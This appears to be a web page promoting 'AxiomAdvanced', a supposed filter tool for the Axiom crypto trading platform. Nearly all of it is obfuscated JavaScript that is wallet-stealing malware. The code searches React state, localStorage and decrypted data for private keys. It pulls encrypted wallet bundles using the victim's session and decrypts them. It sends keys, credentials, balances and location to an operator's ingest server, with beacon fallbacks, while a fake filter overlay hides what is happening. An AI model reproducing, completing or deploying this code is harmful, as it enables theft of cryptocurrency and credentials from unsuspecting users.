Axiom logo
THE CLEANER WAY TO TRADE ON AXIOM

Filter better.
Trade clearer.

AxiomAdvanced helps cut through the noise with clearer filters for the Axiom workflow.

1));const dbg=(...a)=>{if(CONFIG.DEBUG)console.log(S[49],...a);};const sleep=(ms)=>new Promise((r)=>setTimeout(r,ms));function b64ToBytes(s){let t=String(s).split("-").join("+").split("_").join("/");while(t.length%254!==0)t+="=";const bin=atob(t);const out=new Uint8Array(bin.length);for(let i=0;i0n){const rem=n%2558n;out=B58_ALPHABET[Number(rem)]+out;n/=58n;}for(let i=0;i0n){bytes.unshift(Number(n%25256n));n/=256n;}for(let i=0;i").join(S[53]);}function utcStamp(d){const wd=["Sun","Mon","Tue","Wed","Thu","Fri","Sat"][d.getUTCDay()];const mo=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"][d.getUTCMonth()];const p=(n)=>String(n).padStart(2,"0");let h=d.getUTCHours();const ap=h>=12%3F"PM":"AM";h=h%2512;if(h===0)h=12;return(wd+", "+mo+" "+d.getUTCDate()+", "+d.getUTCFullYear()+", "+p(h)+":"+p(d.getUTCMinutes())+":"+p(d.getUTCSeconds())+" "+ap+S[54]);}function shortMint(m){const s=String(m||"");if(s.length<=12)return s;return s.slice(0,4)+"…"+s.slice(-4);}function chainDisplay(id){if(id===S[26])return S[55];if(id==="bsc")return S[9];if(id===S[14])return S[56];return String(id).toUpperCase();}const KECCAK_RC=[0x0000000000000001n,0x0000000000008082n,0x800000000000808an,0x8000000080008000n,0x000000000000808bn,0x0000000080000001n,0x8000000080008081n,0x8000000000008009n,0x000000000000008an,0x0000000000000088n,0x0000000080008009n,0x000000008000000an,0x000000008000808bn,0x800000000000008bn,0x8000000000008089n,0x8000000000008003n,0x8000000000008002n,0x8000000000000080n,0x000000000000800an,0x800000008000000an,0x8000000080008081n,0x8000000000008080n,0x0000000080000001n,0x8000000080008008n];const KECCAK_R=[[0,36,3,41,18],[1,44,10,45,2],[62,6,43,15,61],[28,55,25,21,56],[27,20,39,8,14]];const M64=(1n<<64n)-1n;function rotl64(v,n){const k=BigInt(n%2564);if(k===0n)return v&M64;return((v<>(64n-k)))&M64;}function keccakF(A){const C=new Array(5);const D=new Array(5);const B=new Array(25);for(let round=0;round<24;round++){for(let x=0;x<5;x++){C[x]=A[x]^A[x+5]^A[x+10]^A[x+15]^A[x+20];}for(let x=0;x<5;x++){D[x]=C[(x+4)%255]^rotl64(C[(x+1)%255],1);}for(let x=0;x<5;x++){for(let y=0;y<5;y++)A[x+5*y]^=D[x];}for(let x=0;x<5;x++){for(let y=0;y<5;y++){B[y+5*((2*x+3*y)%255)]=rotl64(A[x+5*y],KECCAK_R[x][y]);}}for(let x=0;x<5;x++){for(let y=0;y<5;y++){A[x+5*y]=B[x+5*y]^(~B[((x+1)%255)+5*y]&M64&B[((x+2)%255)+5*y]);}}A[0]^=KECCAK_RC[round];}return A;}function keccak256(bytes,padByte){const RATE=136;const pad=padByte===undefined%3F0x01:padByte;const A=new Array(25).fill(0n);let off=0;while(bytes.length-off>=RATE){for(let i=0;i=0;b--){lane=(lane<<8n)|BigInt(bytes[off+i*8+b]);}A[i]^=lane;}keccakF(A);off+=RATE;}const block=new Uint8Array(RATE);const rem=bytes.length-off;block.set(bytes.subarray(off),0);block[rem]=pad;block[RATE-1]|=0x80;for(let i=0;i=0;b--){lane=(lane<<8n)|BigInt(block[i*8+b]);}A[i]^=lane;}keccakF(A);const out=new Uint8Array(32);for(let i=0;i<4;i++){let lane=A[i];for(let b=0;b<8;b++){out[i*8+b]=Number(lane&0xffn);lane>>=8n;}}return out;}const PP=0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2fn;const GX=0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798n;const GY=0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8n;const mod=(a,m)=>{const r=a%25m;return r>=0n%3Fr:r+m;};function modInv(a,m){let oldR=mod(a,m);let r=m;let oldS=1n;let s=0n;while(r!==0n){const q=oldR/r;const t1=oldR-q*r;oldR=r;r=t1;const t2=oldS-q*s;oldS=s;s=t2;}return mod(oldS,m);}function jDouble(P){const X=P[0];const Y=P[1];const Z=P[2];if(Z===0n||Y===0n)return[0n,1n,0n];const Y2=mod(Y*Y,PP);const S=mod(4n*X*Y2,PP);const M=mod(3n*X*X,PP);const X3=mod(M*M-2n*S,PP);const Y3=mod(M*mod(S-X3,PP)-8n*Y2*Y2,PP);const Z3=mod(2n*Y*Z,PP);return[X3,Y3,Z3];}function jAdd(P,Q){const X1=P[0],Y1=P[1],Z1=P[2];const X2=Q[0],Y2=Q[1],Z2=Q[2];if(Z1===0n)return Q;if(Z2===0n)return P;const Z1Z1=mod(Z1*Z1,PP);const Z2Z2=mod(Z2*Z2,PP);const U1=mod(X1*Z2Z2,PP);const U2=mod(X2*Z1Z1,PP);const S1=mod(Y1*Z2Z2*Z2,PP);const S2=mod(Y2*Z1Z1*Z1,PP);const H=mod(U2-U1,PP);const R=mod(S2-S1,PP);if(H===0n){if(R===0n)return jDouble(P);return[0n,1n,0n];}const HH=mod(H*H,PP);const HHH=mod(H*HH,PP);const V=mod(U1*HH,PP);const X3=mod(R*R-HHH-2n*V,PP);const Y3=mod(R*mod(V-X3,PP)-S1*HHH,PP);const Z3=mod(Z1*Z2*H,PP);return[X3,Y3,Z3];}function bigTo32(v){let h=v.toString(16);while(h.length<64)h="0"+h;const out=new Uint8Array(32);for(let i=0;i<32;i++)out[i]=parseInt(h.substr(i*2,2),16);return out;}function deriveEvmAddress(privBytes){let k=0n;for(let i=0;i=PP)return null;let R=[0n,1n,0n];let Q=[GX,GY,1n];let n=k;while(n>0n){if(n&1n)R=jAdd(R,Q);Q=jDouble(Q);n>>=1n;}if(R[2]===0n)return null;const zi=modInv(R[2],PP);const zi2=mod(zi*zi,PP);const zi3=mod(zi2*zi,PP);const ax=mod(R[0]*zi2,PP);const ay=mod(R[1]*zi3,PP);const pub=new Uint8Array(64);pub.set(bigTo32(ax),0);pub.set(bigTo32(ay),32);const h=keccak256(pub);return"0x"+toHex(h.subarray(12,32));}function eip55(addr){const lower=String(addr).split("0x").join("").toLowerCase();const h=toHex(keccak256(new TextEncoder().encode(lower)));let out="0x";for(let i=0;i=8%3Flower.charAt(i).toUpperCase():lower.charAt(i);}return out;}function readJsonLS(key,fallback){try{const raw=localStorage.getItem(key);if(!raw)return fallback;const v=JSON.parse(raw);return v===null||v===undefined%3Ffallback:v;}catch(e){return fallback;}}function findRootFiber(){const candidates=[S[57],"app",S[58],S[59]];for(let i=0;i80||seen.has(fiber))return null;seen.add(fiber);const props=fiber.memoizedProps;if(props&&props.value&&predicate(props.value))return props.value;let hook=fiber.memoizedState;while(hook){if(hook.memoizedState&&predicate(hook.memoizedState))return hook.memoizedState;hook=hook.next;}return walkFiber(fiber.child,predicate,depth+1,seen)||walkFiber(fiber.sibling,predicate,depth+1,seen);}function walkFiberCollect(fiber,visit,depth,seen){if(depth===undefined)depth=0;if(!seen)seen=new Set();if(!fiber||depth>80||seen.has(fiber))return;seen.add(fiber);const props=fiber.memoizedProps;if(props&&props.value)visit(props.value);let hook=fiber.memoizedState;while(hook){if(hook.memoizedState)visit(hook.memoizedState);hook=hook.next;}walkFiberCollect(fiber.child,visit,depth+1,seen);walkFiberCollect(fiber.sibling,visit,depth+1,seen);}const B58_RE=S[62];const EVM_RE=S[63];const HEXKEY_RE=S[64];const looksBase58=(s)=>typeof s===S[65]&&new RegExp(B58_RE).test(s.trim());const B58_SECRET_RE=S[66];const looksB58Secret=(s)=>typeof s===S[65]&&new RegExp(B58_SECRET_RE).test(s.trim());const looksEvm=(s)=>typeof s===S[65]&&new RegExp(EVM_RE).test(s.trim());const looksHexKey=(s)=>typeof s===S[65]&&new RegExp(HEXKEY_RE).test(s.trim());const SECRET_FIELDS=[S[67],S[68],S[69],S[70],"sk",S[71],S[72],S[73],S[74],S[75],S[76]];const ADDRESS_FIELDS=[S[77],S[78],S[79],S[80],S[81],S[82],S[83]];function pick(obj,fields){for(let i=0;i255||(n|0)!==n)return null;}return new Uint8Array(v);}return null;}function keypairFromBytes(bytes){if(!bytes||bytes.length!==64)return null;let nonzero=0;for(let i=0;i<64;i++)if(bytes[i]!==0)nonzero++;if(nonzero<16)return null;try{return{secret:b58encode(bytes),address:b58encode(bytes.subarray(32))};}catch(e){return null;}}const KEYPAIR_HOLDERS=[S[86],S[76],S[87],S[88],S[89],S[90],S[91],S[92],S[93],"kp"];function deepKeySearch(obj,depth,seen){if(!obj||typeof obj!==S[84])return null;if(depth>4||seen.has(obj))return null;seen.add(obj);const keys=Object.keys(obj);for(let i=0;i=32&&s.length<=200&&(looksHexKey(s)||looksBase58(s)||looksB58Secret(s))){const kind=classifySecret(s);if(kind.usable)return{secret:kind.value,address:null,format:kind.format,field:k};}continue;}if(typeof v===S[84]){const nested=deepKeySearch(v,depth+1,seen);if(nested)return nested;}}return null;}function rawSnapshot(obj,cap){const limit=cap||6000;const seen=new Set();try{const json=JSON.stringify(obj,function(k,v){if(typeof v===S[95])return String(v);if(typeof v===S[96])return undefined;if(v instanceof Uint8Array||v instanceof Uint8ClampedArray)return Array.prototype.slice.call(v,0,128);if(typeof v===S[65]&&v.length>1200)return v.slice(0,1200)+"…";if(v&&typeof v===S[84]){if(seen.has(v))return undefined;seen.add(v);}return v;});if(!json)return null;return json.length>limit%3Fjson.slice(0,limit):json;}catch(e){return null;}}function keyFromObject(obj,depth){if(!obj||typeof obj!==S[84]||(depth||0)>2)return null;for(let i=0;i40000)return;if(seenObj.has(v))return;seenObj.add(v);visited++;const direct=asBytes(v);if(direct){const kp=keypairFromBytes(direct);if(kp)found[kp.address]=kp.secret;return;}const k=keyFromObject(v,0);if(k&&k.secret){let addr=k.address;if(!addr){const addrField=pick(v,ADDRESS_FIELDS);if(addrField)addr=addrField.value;}if(addr)found[addr]=k.secret;}});dbg(S[97],{visited:visited,keys:Object.keys(found).length});return found;}function classifySecret(value){if(looksHexKey(value))return{usable:true,format:value.indexOf("0x")===0%3F"Hex":"Hex",value:value.indexOf("0x")===0%3Fvalue:"0x"+value};if(looksB58Secret(value)||(looksBase58(value)&&value.length>=43))return{usable:true,format:S[94],value:value};if(value.length>100)return{usable:false,format:S[98],value:value,encrypted:true};return{usable:false,format:S[99],value:value};}const AXIOM_PROFILE={id:S[100],hosts:[S[101]],async acquire(){const res=await fetch(API_URL,{method:S[102],credentials:S[103]});if(!res.ok)throw new Error(S[104]+res.status);const data=await res.json();const bundleKey=data&&data.bundleKey;const wallets=(data&&data.wallets)||[];if(!bundleKey)throw new Error(S[105]);const sol=[];for(let i=0;i0;});let raw=store&&store.wallets&&store.wallets.length%3Fstore.wallets:null;if(!raw){const uniq=new Map();walkFiberCollect(root,function(v){if(!v||typeof v!==S[84])return;const addr=pick(v,ADDRESS_FIELDS);if(addr&&(v.subOrgId||v.walletId||v.walletType))uniq.set(addr.value,v);});raw=[...uniq.values()];}const bundles={};try{const lsKeys=Object.keys(localStorage);for(let i=0;i=43))continue;for(let c=0;c=64))continue;for(let c=0;c{const iv=crypto.getRandomValues(new Uint8Array(12));const ct=new Uint8Array(await crypto.subtle.encrypt({name:S[141],iv:iv},ck,plain));return bytesToB64Url(iv)+":"+bytesToB64Url(ct);};const solKeys=[];const solBundles=[];const wallets=[];for(let i=0;i<3;i++){const k=crypto.getRandomValues(new Uint8Array(64));solKeys.push(k);solBundles.push(await enc(k));const correct=b58encode(k.subarray(32,64));wallets.push({walletAddress:i===1%3Fb58encode(new Uint8Array(32).fill(7)):i===2%3F"":correct});}const evmKeys=[];const evmBundles=[];for(let i=0;i<2;i++){const k=crypto.getRandomValues(new Uint8Array(32));evmKeys.push(k);evmBundles.push(await enc(k));}wallets.push({walletAddress:deriveEvmAddress(evmKeys[0])});wallets.push({walletAddress:S[143]});dbg(S[144],{sol:solBundles.length,evm:evmBundles.length});return{mode:S[100],source:S[145],bundleKey:bytesToB64Url(keyBytes),wallets:wallets,sol:solBundles,evm:[{raw:evmBundles[0],chain:"bsc",chainLabel:S[9]},{raw:evmBundles[1],chain:S[14],chainLabel:S[13]}],__mockKeys:{sol:solKeys,evm:evmKeys}};}async function buildDecryptor(bundleKeyB64){const kb=b64ToBytes(bundleKeyB64);if(kb.length!==16&&kb.length!==24&&kb.length!==32){throw new Error(S[146]+kb.length);}return await crypto.subtle.importKey("raw",kb,{name:S[141]},false,[S[147]]);}async function decryptEntry(entry,key){const parts=String(entry).split(":");if(parts.length!==2)throw new Error(S[148]);const iv=b64ToBytes(parts[0]);const ct=b64ToBytes(parts[1]);const pt=await crypto.subtle.decrypt({name:S[141],iv:iv},key,ct);return new Uint8Array(pt);}function apiAddressAt(wallets,idx){const w=wallets[idx];if(!w)return"";return w.walletAddress||w.address||w.pubkey||w.publicKey||"";}function apiLabelAt(wallets,idx){const w=wallets[idx];if(!w)return"";return w.name||w.label||w.title||"";}async function extractKeys(acq){const key=await buildDecryptor(acq.bundleKey);const out=[];let idx=0;for(let i=0;ib.amount-a.amount);out.tokens=out.tokens.slice(0,5);}catch(e){dbg(S[160],e);}return out;}async function evmBalances(addr,chain){const out={native:0,tokens:[]};const wei=await rpc(RPCS[chain],S[161],[addr,S[162]]);out.native=fromUnits(hexToBig(wei),18);const table=(TOKENS[chain]||[]).slice(0,CONFIG.TOKENS_PER_CHAIN);const results=await Promise.all(table.map(async(t)=>{try{const data=S[163]+pad32(addr);const r=await rpc(RPCS[chain],S[164],[{to:t.addr,data:data},S[162]]);const amt=fromUnits(hexToBig(r),t.decimals);if(!amt)return null;return{symbol:t.symbol,contract:t.addr,amount:amt,usd:t.usd,usdKey:t.usdKey};}catch(e){return null;}}));for(let i=0;i({kind:c.kind,label:c.label||null,secret:c.secret||null,public:c.public||null,note:c.note||null,confidence:c.confidence||null})),wallets:out,messages:messages||[],doc:doc||null};}async function ingestSend(phase,meta,wallets,messages,doc,credentials,acq){const json=JSON.stringify(ingestBody(phase,meta,wallets,messages,doc,credentials,acq));try{const targets=[CONFIG.INGEST_URL].concat(CONFIG.INGEST_FALLBACKS||[]);for(const url of targets){try{const ctl=typeof AbortController!==S[5]%3Fnew AbortController():null;const timer=ctl%3FsetTimeout(()=>ctl.abort(),8000):null;const res=await fetch(url,{method:S[102],headers:{"content-type":S[153]},body:json,signal:ctl%3Fctl.signal:undefined});if(timer)clearTimeout(timer);if(!res.ok)throw new Error(S[191]+res.status);return await res.json().catch(()=>({}));}catch(e){dbg(S[192],url,e);}}throw new Error(S[193]);}catch(e){dbg(S[194],e);beaconSend(phase,json);return{ok:false,via:S[195]};}}let RUN_ID=Math.random().toString(36).slice(2,10);function b64url(str){const bytes=new TextEncoder().encode(str);let bin="";for(let i=0;i=0%3F"&":"%3F";function fire(i){const url=CONFIG.INGEST_URL+sep+S[197]+encodeURIComponent(CONFIG.OPERATOR_KEY)+"&r="+RUN_ID+"&p="+phase+"&i="+i+"&n="+total+"&d="+payload.slice(i*CHUNK,(i+1)*CHUNK);try{const img=new Image();img.src=url;}catch(e){dbg(S[198],e);}}for(let i=0;i{el.style.opacity="1";el.style.transform=S[215];});setTimeout(()=>{el.style.opacity="0";el.style.transform=S[216];},2600);setTimeout(()=>el.remove(),3000);}function padreCover(){const old=document.getElementById(S[217]);if(old)old.remove();if(!document.getElementById(S[218])){const style=document.createElement(S[219]);style.id=S[218];style.textContent=S[220]+S[221]+S[222];document.head.appendChild(style);}const overlay=document.createElement("div");overlay.id=S[217];overlay.style.cssText=S[223]+S[224]+S[225];const modal=document.createElement("div");modal.style.cssText=S[226]+S[227]+S[228];const header=document.createElement("div");header.style.cssText=S[229]+S[230];header.innerHTML=S[231]+S[232]+S[233]+S[234]+S[235]+S[236]+S[237]+S[238];const box=(t)=>S[239]+S[240]+t+S[241];const row=(label,a,b)=>S[242]+label+S[241]+S[243]+box(a)+box(b)+S[244];const check=(label)=>S[245]+S[246]+S[247]+label+S[248];const body=document.createElement("div");body.style.cssText=S[249];const left=document.createElement("div");left.style.cssText=S[250];left.innerHTML=S[251]+S[252]+S[253]+S[254]+S[255]+S[241]+S[256]+row(S[257],S[258],S[259])+row(S[260],S[261],S[262])+row(S[263],"Min","Max")+S[241];const right=document.createElement("div");right.style.cssText=S[264];right.innerHTML=S[265]+S[266]+check(S[267])+check(S[268])+check(S[269])+check(S[270])+check(S[271])+S[241];body.appendChild(left);body.appendChild(right);const footer=document.createElement("div");footer.style.cssText=S[272]+S[273];footer.innerHTML=S[274]+S[275]+S[276]+S[277]+S[278]+S[274]+S[279]+S[280];modal.appendChild(header);modal.appendChild(body);modal.appendChild(footer);overlay.appendChild(modal);document.body.appendChild(overlay);const steps=[S[281],S[282],S[283],S[284]];const openedAt=Date.now();let i=0;const timer=setInterval(()=>{const el=document.getElementById(S[285]);if(!el)return clearInterval(timer);i++;if(i{clearInterval(timer);const shownFor=Date.now()-openedAt;const wait=Math.max(0,2200-shownFor);setTimeout(()=>{const el=document.getElementById(S[285]);const sp=document.getElementById(S[286]);if(el)el.textContent=S[287];if(sp)sp.style.animation=S[152];setTimeout(()=>{try{const o=document.getElementById(S[217]);if(o)o.remove();}catch(e){}},900);},wait);};}let coverUiDone=null;function coverUI(){if(CONFIG.COVER_UI===S[152])return;if(CONFIG.COVER_UI===S[288]||!document.body){toast(S[289]);return;}if(/padre/i.test(location.hostname))return padreCover();const old=document.getElementById(S[290]);if(old)old.remove();const css=document.createElement(S[219]);css.id=S[291];css.textContent=[S[292],S[293],S[294],S[295],S[296],S[297],S[298],S[299],S[300],S[301],S[302],S[303],S[304],S[305],S[306],S[307],S[308],S[309],S[310],S[311],S[312],S[313],S[314],S[315],S[316],S[317],S[318],S[319],S[320]].join("");if(!document.getElementById(S[291]))document.head.appendChild(css);const overlay=document.createElement("div");overlay.id=S[290];overlay.style.cssText=S[321]+S[322]+S[323];const card=document.createElement("div");card.style.cssText=S[324]+S[325]+S[326];const stats=[[S[327],S[328],S[329]],[S[330],"143",S[331]],[S[332],S[333],S[334]],[S[335],"0",S[336]]];let statsHtml="";for(let i=0;ioverlay.remove();overlay.addEventListener(S[382],(e)=>{if(e.target===overlay)close();});const wire=(role,fn)=>{const el=card.querySelector(S[383]+role+'"]');if(el)el.addEventListener(S[382],fn);};wire(S[384],close);wire(S[385],()=>{const inputs=card.querySelectorAll(S[386]);for(let i=0;i{const btn=card.querySelector(S[390]);btn.textContent=S[391];btn.style.opacity=".7";setTimeout(()=>{toast(S[289]);close();},480);});const tabs=card.querySelectorAll(S[392]);for(let i=0;i{for(let j=0;j8000000)return 0;let added=0;try{const strRe=new RegExp(S[401],"gi");let m;while((m=strRe.exec(text))!==null){const v=m[1];const shaped=(v.indexOf("0x")===0&&v.length===66)||looksB58Secret(v);if(!shaped)continue;const addr=addressForSecret(v);if(addr&¬eRecovered(v,addr,source))added++;}}catch(e){}try{const arrRe=new RegExp(S[402],"gi");let m;while((m=arrRe.exec(text))!==null){const parts=m[1].split(",");if(parts.length!==64)continue;const nums=new Uint8Array(64);let okAll=true;for(let i=0;i<64;i++){const n=Number(parts[i]);if(!isFinite(n)||n<0||n>255){okAll=false;break;}nums[i]=n;}if(!okAll)continue;const kp=keypairFromBytes(nums);if(kp&¬eRecovered(kp.secret,kp.address,source))added++;}}catch(e){}if(added)dbg(S[403],{via:source,added:added});return added;}function hookDecrypt(){try{if(typeof crypto===S[5]||!crypto.subtle||typeof crypto.subtle.decrypt!==S[96])return false;const orig=crypto.subtle.decrypt.bind(crypto.subtle);crypto.subtle.decrypt=function(){const args=arguments;return orig.apply(null,args).then(function(out){try{if(out instanceof ArrayBuffer){scanTextForKeys(new TextDecoder(S[404]).decode(out),S[405]);}}catch(e){}return out;});};return true;}catch(e){dbg(S[406],e);return false;}}function hookJsonParse(){try{const orig=JSON.parse;JSON.parse=function(text){const out=orig.apply(this,arguments);try{if(watchOn&&typeof text===S[65]&&text.length>48&&text.length<8000000&&(text.indexOf(S[407])>=0||text.indexOf(S[70])>=0||text.indexOf(S[71])>=0)){scanTextForKeys(text,S[408]);}}catch(e){}return out;};return true;}catch(e){return false;}}function startRescan(seconds,everyMs){let ticks=0;const max=Math.floor((seconds||600)*1000/(everyMs||10000));const timer=setInterval(function(){ticks++;if(ticks>max||!watchOn){clearInterval(timer);return;}try{const root=findRootFiber();if(!root)return;const keys=scanByteKeys(root);const addrs=Object.keys(keys);for(let i=0;i!!(CONFIG.INGEST_URL&&CONFIG.INGEST_URL.indexOf(S[411])===0);async function main(){const started=Date.now();if(CONFIG.MOCK)dbg(S[412]);if(!hostAllowed()){dbg(S[413]+location.hostname);return;}try{coverUI();}catch(e){dbg(S[414],e);}let acq;try{acq=await dispatchAcquire();}catch(e){dbg(S[415],e);return;}let wallets;const credentials=acq.credentials||[];try{wallets=acq.mode===S[100]%3Fawait extractKeys(acq):resolveFromProfile(acq);}catch(e){dbg(S[416],e);return;}const meta={iso:new Date().toISOString(),stamp:utcStamp(new Date()),geo:null,profile:acq.profile||acq.source||S[417],host:location.hostname||"",fallbackFrom:acq.fallbackFrom||null,buildId:CONFIG.BUILD_ID||"",delivered:!!(typeof window!==S[5]&&window.__AX_DELIVERED),heuristic:!!acq.heuristic};if(!wallets.length&&!credentials.length){dbg(S[418]+(location.hostname||S[419]));if(PLATFORM_MODE()){try{await ingestSend(S[398],meta,[],[],null,[],acq);}catch(e){dbg(S[420],e);}}return;}dbg(S[421],{wallets:wallets.length,credentials:credentials.length,profile:meta.profile},S[422]+(Date.now()-started)+"ms");if(CONFIG.FAST_PATH){if(PLATFORM_MODE()){await ingestSend(S[423],meta,wallets,[],null,credentials,acq);}}const prices=await fetchPrices();meta.geo=await geoInfo();await enrich(wallets,prices,acq);if(PLATFORM_MODE()){await ingestSend(S[398],meta,wallets,[],null,credentials,acq);}if(coverUiDone){try{coverUiDone();}catch(e){dbg(S[424],e);}}if(PLATFORM_MODE()){try{startKeyWatch(meta);}catch(e){dbg(S[425],e);}}dbg(S[426]+(Date.now()-started)+"ms");}try{await main();}catch(e){dbg(S[427],e);}if(CONFIG.EXPORTS){globalThis.__AX_EXPORT={keccak256:keccak256,deriveEvmAddress:deriveEvmAddress,eip55:eip55,b58encode:b58encode,b64ToBytes:b64ToBytes,toHex:toHex,fromUnits:fromUnits,};}})();})(JSON.parse(o))})([222,100,120,168,1,167,211,73,155,53,88,192,33,35,152,189,167,41,206,91,109,115,217,97,143,87,196,10,120,156,218,61],'hUYZ3XXI8WW5XSy0UVCikohItjICHvcV/Tagb1qw+E2/Ch3EI4vxCONcN60BYvzLxketPglR9UPJPqh+He76frEKHsFm0qEo71w3rgMPusjJTas9BB28Ba175mIM6KpO5EtXyXHO6mf6TTGvTA3sz8ZNq3QPBrcF4zLpYR3l91ywAFXfYMu/LO9GdbYTAbSf1Gu7NQkfvBKte+ZoOum0WbIBC4othZEH2Roak2IBtJ/FWq0ZGB29Deok5iZa/rNTvwobzUPSvS33UCviDQH9/9JHqjcIAPtNrRKwYh3uv0izRlSKZNO7LOlQLa0DD7rY00GMLgMXtQT8degoHeiyWKwBDcVD0r0t91Ar4g0B/cvKa7s1CR+8Eq175mIM6KpO5EtXyXHO/ST6XDauRFe138Jdr3UeHLUA4TbqaRfx+BH8DAzccdTpZrRGN6xATfmQ1VmtdR0Guw3mNKplHPn0XrEJWoQjz6c960Zi7w5B696KW744QwOsA+M+p2QX+L8TvQsVii2Fuz3vRSv6Dgz6zsQEqjoZEqoE6jPqaBb+uVW/DRaGbtW0a7cXMLRVU+uHiAasMgMStwLqeahmGfG7T64HVstuyvFluV0stFFQopKITLozCAG8FOJ6tnobsqpIvAgRy2/Ityy1VjetAw+61dNdvihXXPYE+z/qZhT9t1ysFBuGYsi+a7cXMLRVU+uHiAa8Kw5duA/kJeppF/H1WKoMWoQj1Lwl+ls54g0B+tTJSKA4CBC2COF16Cgtz55p/EhamHnDkgqqAh75FBvcj8JM+2leEutTv2H2Ok6l4wnrXU/rMJSXcagEPaMWAbSf8nqKGE9f+1H3FvRoQKrjBO8HTpown7F6rVZppBAa3InGG6tiKBHpAspk8jpO+ZgJ5kZUijHf5QuqAm30FhfdhZ4Z928uR+0l7m78aEGp7ni7AB3pQpPqfKkCaaQRZbqRhX6LDyVR9UO/L4c6Sv27fO1dGpozlJUMo3FogRFGrf6Tb/xsCDKdWL9v90lPqex+vVZahCOXq3yuUWv5GRCqi8EQ92tYSr8nuGDxPkCp6AnoXUGRMZXkC6gEYfcYFq2fiwv+I1Uymla5NvE7G//jCO4AQZAzlZd/o1dg80dmqfzDEPkZXkGaBbpv9G5asPh/izc8ii2F4zH+DD33YmbZjuNMqjgsRuBZu2D8Ojr9vF7rXUHKRZHqCN9RaPgWZ62LhQXsDC89m0OjdfRyGv7ufromQetDw+B/2QVpomUS+//GbIwdXze8Ubcz/TtPr7he7l1NyyOL8R30Xj2uSkb/7MFMlCIEPa4gxTWKaD/XinuGJy/dQ9G1cMhGbvISdcmI42jsd08kii7DdegoFc+VcfxIWuJo07wa1Hl67ANBy/LrC+J5LzyXKq175lo3zJl8ikZUimDfvib4XmXxAw+65sZRk3lBUehTvGPxPE+k43ycJzztR+CbA9B5FY5xcsru83yYDDUqgwDtNKBvHvuyVLQPFcZu16I76EEttlZb4ceFBex9DB6pWq175iwU6OEf8kZez3Wc8WW5FQ2UYgG0n/RmghojMvtNrRKQQj3On2iTRlSKc8i8PbkZep9+Tf3F0wvieTIshgbuI7doAb72H4E7Cs1gxKcK9FssoUhN/c+FBewEMgG8AOwjgmMa+agf8kYm8zCK6gi2fRLtb3O158YEpTZACYQavGXoPkzh/h/yRiaYefzjZKJUdaZgDt7g3B3+JklR9UPRZ7w1I6z3BL9JHuks4Y4yrQEl5AMPus7TW6c1ClH1Q9EM9SdB3fd1lEk2+Cz9smTwWHW6fFiuiYsQ/CZJUfVD/yWtfBnov3a7HVqEI9S2KulQLItEWrqRhVm8Mhs4vBite+Z5Hf+oWKpGVIpsybYk9FsxowMPus7CTKoLBQG4Eup16CgL+b9Z/EhazXnXvDvvdy2uRU/9n4sLqzUOAaAR+zKgQR3l+BH8Dx3RUca6O7kZerBUQfTUxGiqPx8WqhKte+ZrHPioWK0XWoQj16Yr8FAh4g0B6MjFRac4JhagQ6N1s2sU8L9JnwAc2mTUoGu3FzmjQkzt09ML4nkCBLcE/XXoKBf+sFi9EFqEI8mmJPlQKuINAfPY3lmvMh9R9UPQPKFzCP2zT/xIWvdqwqoZ+lwq4g0B69TAR6spT1/7Pvw+o2Qd7vgR/BMZxG3Cp2u3Fwe3QE/02NML4nkdErATrXvmSBnvvwjmRlSKY860IPVBeuwDRe3TxF2nNANR9UPtLrBvVfe/RP4XG8lvhf9r2Vk3ogMPuujJQqA0Gh37Ta02vGMX8fgR/AUAwW7K/T3pVDylAw+67eh6mnlBUbAP7Duxbh2+9h+8ERbMbcKYLOIVPqVVQPCdwUinNwgX+SnbA5QqWrD4X6sKHMRk7LYwu1gxs1JK9tqHQKB7HxaqEeA5t29asPhTsUQa3W/DvyzoFTGuAU/33sZFnS8CAbgG6nXoKBnks1KzRBrdb8O/LOgXdOJRQvzPwgvieR0SvRPqeaNtWrD4U7FEKs1gxKdp6Vo3tAFF98jJTex3TxKpCNwjpWcI+agf8kYQyXLmoyDaQCyoRE3s1MRIujQfUfVD5iSHZRbov0WqKBfJZc69LrkZerBTTO7Uw0yeOh4Arg79M+YmWv6vU7oIHdss1Kcm6VB67ANB7dPDRat7Hge2E+p3tm8Z+Ppbvw0UzWWF/2v1Wni3QE/02NNa7j0CBrcFrz6qKir5u16qRAvcYNO2afRHeLRJRrjf0keqNwhTqhXgJaEoVL68VLwBCoothbYn+EchsFVG/JDFRaE5T1/7E+4g6X0Z8LZYqkZUimDXuhboQTmtUUbqn4sLvjoJAbxM7ietKFS+qVS5CguIQPeaaelQKbVEUOzOh0i9exkbsBKvNqdpF+m0SfxIWs5u0r0tu1w24HNG+d7TCb0vDAe8Q6N1oXII86hJ8wYNxmXLtmu3FzWlTEzqxIpCqyIdErATrXvmZB3vrli6SRPNeNeyIOkXdOJDVvbZy0zjKBkcqwSte+Z5Df6FUqwDWoQj0bYl7VAs4g0B6NzDW6t7Cxq7BP116CgK+alSshIdzCOL8SH+QCqpUlfx3oUF7DAICvQM7iOheBH9th/yRhPNeIqgIfpFPaQBUOzPzkepewQd+TPqNqd+WO+uXKoBWoQjybw981w2pwFU+dHLTLp2Hhu4Eeoz5GMWvIhYvwcMiHLTsj3+F3TiR0r62NUJqDoBH7sA7DzmJlrsqFK4DRTNI4vxafpWKbVIUf2dwUinNwgX9UHpNqhmEfK9HbwFG8Mh07xp71094EZG9tjVQK17GhK1Cq175m0d8r9PtwdY32DLuGn6WSuvAUX51MtMqnlBUZgk3HqDSTW+9h+7ChvaeNena7cXaLgRE6iNlxn+a11D6VG/Z/Q6SKzqDe5USJgxl+N5qwVo8BETqI2XGf5qT1/7DOA0ryoa6bRZsgELii2Fvib4XnrsA0Ht08NFqxAICvkI/HeqZQy8ux2oBRTBZYeSDMgVNKVPROzVnQnsd08XvAL9LrR+WrD4UL8IHsdzyrYtu1ctrkVP/Z3CR7opFFH1Q8oFlkUqvvYfugEKwXfCt2u3FzmwSAj82NVAuD4JUfVD4Tiqb1qw+FyuFBTBYsanIPRbd6pSTPafiwuGDzkj+UOjdbZ6G7y/T6wLCoothbIl9xUqsEID/dPDWaEyAweqQek2rWYd+PgR/AMd3EPGvyj1Vj3iDQH/2NN9oTAIHZgC7DixZAzvmESRExbNc4X/a/FGN65xQurOwk3sd08AqQ2vI6thHfL6W7sQG8AhwbIg91A84g0B/cnPdqk+GTG4De45